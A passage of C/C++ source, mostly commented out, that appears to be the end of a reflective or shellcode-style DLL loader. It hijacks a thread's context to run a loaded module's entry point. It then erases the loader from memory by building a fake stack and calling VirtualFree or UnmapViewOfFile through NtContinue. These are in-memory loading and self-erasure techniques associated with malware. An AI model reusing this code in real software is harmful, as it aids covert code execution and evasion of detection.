CtxEntry.Eip = (DWORD)entryPoint; 182 | // 183 | //#endif 184 | // 185 | // CtxEntry.ContextFlags = CONTEXT_FULL; 186 | // ntApi.NtSetContextThread(hThread, &CtxEntry); 187 | // ntApi.NtResumeThread(hThread, 0); 188 | // } 189 | // 190 | // otherApi.WaitForSingleObject(hThread, INFINITE); 191 | // winApi.VirtualFree((LPVOID)loadedDllBaseAddress, 0, MEM_RELEASE); 192 | // 193 | // 194 | // 195 | // if (otherApi.VirtualQuery((char*)loaderStart, &mbi, sizeof(MEMORY_BASIC_INFORMATION))) { 196 | // 197 | // if (mbi.Type == MEM_PRIVATE) { 198 | // 199 | // CtxFreeMem.ContextFlags = CONTEXT_FULL; 200 | // ntApi.RtlCaptureContext(&CtxFreeMem); 201 | // 202 | //#ifdef _WIN64 203 | // 204 | // CtxFreeMem.Rip = UINT_PTR(winApi.VirtualFree); 205 | // CtxFreeMem.Rcx = UINT_PTR(loaderStart); 206 | // CtxFreeMem.Rdx = UINT_PTR(0); 207 | // CtxFreeMem.R8 = UINT_PTR(MEM_RELEASE); 208 | // *(ULONG_PTR*)CtxFreeMem.Rsp = UINT_PTR(ntApi.RtlExitUserThread); 209 | // 210 | //#else 211 | // 212 | // DWORD* originalStack = (DWORD*)CtxFreeMem.Esp; 213 | // 214 | // DWORD* newStack = originalStack - 4; 215 | // 216 | // newStack[0] = (DWORD)UINT_PTR(ntApi.RtlExitUserThread); 217 | // newStack[1] = (DWORD)loaderStart; 218 | // newStack[2] = (DWORD)0; 219 | // newStack[3] = (DWORD)MEM_RELEASE; 220 | // 221 | // CtxFreeMem.Esp = (DWORD)newStack; 222 | // CtxFreeMem.Eip = (DWORD)winApi.VirtualFree; 223 | // 224 | //#endif 225 | // CtxFreeMem.ContextFlags = CONTEXT_FULL; 226 | // ntApi.NtContinue(&CtxFreeMem, FALSE); 227 | // 228 | // } 229 | // else if (mbi.Type == MEM_MAPPED) { 230 | // 231 | // CtxFreeMem.ContextFlags = CONTEXT_FULL; 232 | // ntApi.RtlCaptureContext(&CtxFreeMem); 233 | //#ifdef _WIN64 234 | // 235 | // CtxFreeMem.Rip = UINT_PTR(otherApi.UnmapViewOfFile); 236 | // CtxFreeMem.Rcx = UINT_PTR(loaderStart); 237 | // *(ULONG_PTR*)CtxFreeMem.Rsp = UINT_PTR(ntApi.RtlExitUserThread); 238 | // 239 | //#else 240 | // 241 | // 242 | // 243 | //#endif 244 | // CtxFreeMem.ContextFlags = CONTEXT_FULL; 245 | // ntApi.NtContinue(&CtxFreeMem, FALSE); 246 | // } 247 | // 248 | // } 249 | 250 | 251 | } 252 | } 253 | 254 | /******************************************************************* 255 | * To avoid problems with function positioning, do not add any new 256 | * functions above this pragma directive. 257 | ********************************************************************/ 258 | #pragma code_seg(".text$b") 259 | --------------------------------------------------------------------------------